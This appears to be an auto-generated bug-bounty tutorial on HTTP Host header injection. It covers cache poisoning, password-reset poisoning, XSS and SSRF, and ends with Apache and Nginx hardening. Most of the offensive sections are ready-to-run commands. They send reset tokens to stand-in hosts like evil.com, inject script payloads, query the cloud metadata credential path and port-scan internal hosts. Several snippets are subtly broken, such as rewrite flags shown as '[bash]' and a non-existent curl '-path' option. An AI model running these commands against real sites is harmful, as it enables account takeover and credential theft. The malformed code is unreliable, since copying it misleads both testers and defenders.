Listen to this Post
Introduction:
Host Header Injection is a critical web vulnerability where attackers manipulate the HTTP Host header to compromise application logic. This seemingly minor flaw can escalate into devastating attacks like web cache poisoning, password reset hijacking, and cross-site scripting, enabling full account takeover and widespread user compromise.
Learning Objectives:
- Understand three critical Host Header attack vectors: cache poisoning, password reset poisoning, and XSS injection
- Master 25+ verified commands for identifying and exploiting Host Header vulnerabilities
- Implement defensive configurations to secure applications against Host Header attacks
You Should Know:
1. Web Cache Poisoning via Host Header
Check cache headers curl -I http://target.com -H "Host: evil.com" curl -X GET http://target.com -H "Host: malicious.net" -H "X-Forwarded-Host: poison.com" Burp Suite testing sequence 1. Send request to Repeater: GET / HTTP/1.1 2. Add: Host: attacker-controlled.com 3. Observe: CF-Cache-Status: HIT, X-Cache: HIT from proxy 4. Poison: Inject malicious JavaScript in Host reflection points
This technique exploits caching mechanisms that store responses containing manipulated Host headers. When the poisoned cache serves content to legitimate users, attackers can execute widespread XSS attacks. The commands check cache status headers and demonstrate how to inject malicious Host values that persist in cached responses.
2. Password Reset Poisoning Exploitation
Test password reset functionality curl -X POST https://target.com/reset-password \ -H "Host: evil.com" \ -d "[email protected]" Monitor callback with ngrok ngrok http 80 ./burp collaborator client --listen Analyze token leakage curl -X GET http://evil.com/logs grep "reset_token" access.log
Password reset poisoning redirects reset links to attacker-controlled domains, leaking sensitive tokens. The commands simulate reset requests with malicious Host headers, monitor callback servers for token leakage, and analyze captured credentials for account takeover opportunities.
3. Host Header XSS Injection
Test unescaped Host reflection curl -s http://target.com -H "Host: <script>alert(1)</script>" | grep -i "script" Automated scanning with ffuf ffuf -u http://target.com -H "Host: FUZZ" -w xss-payloads.txt Browser verification javascript:alert(document.location.hostname)
When applications reflect Host header values without proper encoding, attackers can inject malicious scripts. These commands test for unescaped Host reflection in HTML responses, automate payload delivery, and verify XSS execution in browser contexts.
4. Advanced Cache Poisoning with Header Injection
Multi-header poisoning curl http://target.com \ -H "Host: innocent.com" \ -H "X-Forwarded-Host: evil.com" \ -H "X-Host: poison.com" Cache timing analysis time curl -s http://target.com -H "Host: test1.com" > /dev/null time curl -s http://target.com -H "Host: test2.com" > /dev/null Cache busting techniques curl http://target.com?cache_buster=random123 -H "Host: malicious.net"
Advanced cache poisoning exploits multiple header fields and cache timing behaviors. These commands demonstrate header stacking techniques, analyze response times to identify cached content, and implement cache busting to ensure payload delivery.
5. SSRF via Host Header Manipulation
Internal service access
curl http://target.com -H "Host: 127.0.0.1:22"
curl http://target.com -H "Host: 169.254.169.254"
Cloud metadata exploitation
curl http://target.com -H "Host: 169.254.169.254" \
-path "/latest/meta-data/iam/security-credentials/"
Port scanning through Host
for port in {80,443,22,3389}; do
curl -m 3 http://target.com -H "Host: 127.0.0.1:$port"
done
Host header manipulation can facilitate Server-Side Request Forgery attacks, enabling access to internal services and cloud metadata. These commands test internal service accessibility, exploit cloud metadata endpoints, and perform port scanning through Host header manipulation.
6. Defensive Configuration and Hardening
Apache Host validation
<VirtualHost :80>
ServerName canonical.com
RewriteEngine On
RewriteCond %{HTTP_HOST} !^canonical.com$ [bash]
RewriteRule ^ - [bash]
</VirtualHost>
Nginx host whitelisting
server {
listen 80;
server_name canonical.com;
if ($http_host != "canonical.com") {
return 444;
}
}
Cache control headers
Header always set Cache-Control "no-store, no-cache"
Header always set Vary "Origin"
Proper server configuration prevents Host header attacks through whitelisting, request rejection, and cache control. These configuration snippets demonstrate host validation in Apache and Nginx, along with cache control headers that prevent poisoning attacks.
7. Automated Vulnerability Scanning
Custom Burp Suite extension
public boolean isVulnerable(IHttpRequestResponse message) {
return checkHostReflection(message) ||
checkCachePoisoning(message) ||
checkResetPoisoning(message);
}
Nuclei templates for Host header testing
nuclei -u target.com -t host-header-attacks.yaml
Custom Python scanner
python host_scanner.py -u target.com -p payloads.txt
Automated scanning accelerates Host header vulnerability detection. These examples show Burp extension logic for vulnerability detection, Nuclei templates for standardized testing, and custom Python scripts for comprehensive security assessment.
What Undercode Say:
- Host header vulnerabilities represent a systemic failure in input validation across the application stack
- The chaining potential of these attacks transforms minor issues into critical business risks
- Defensive measures must span application code, server configuration, and caching infrastructure
The evolution of Host header attacks demonstrates how seemingly minor vulnerabilities can enable sophisticated attack chains. From cache poisoning to account takeover, these vulnerabilities highlight the critical importance of comprehensive input validation. Modern applications must treat all HTTP headers as untrusted input, implementing defense-in-depth strategies that include whitelisting, proper encoding, and secure caching policies. The technical commands provided offer both offensive testing methodologies and defensive configurations essential for modern application security.
Prediction:
Host header attacks will increasingly target cloud-native and serverless architectures where traditional perimeter defenses are absent. As applications continue to decentralize and rely more heavily on caching layers and CDNs, we’ll see sophisticated poisoning attacks targeting edge computing infrastructure. The integration of AI-powered security scanners will simultaneously improve detection capabilities while enabling more complex evasion techniques, creating an ongoing arms race in web application security.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Thecyberdevvarun Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
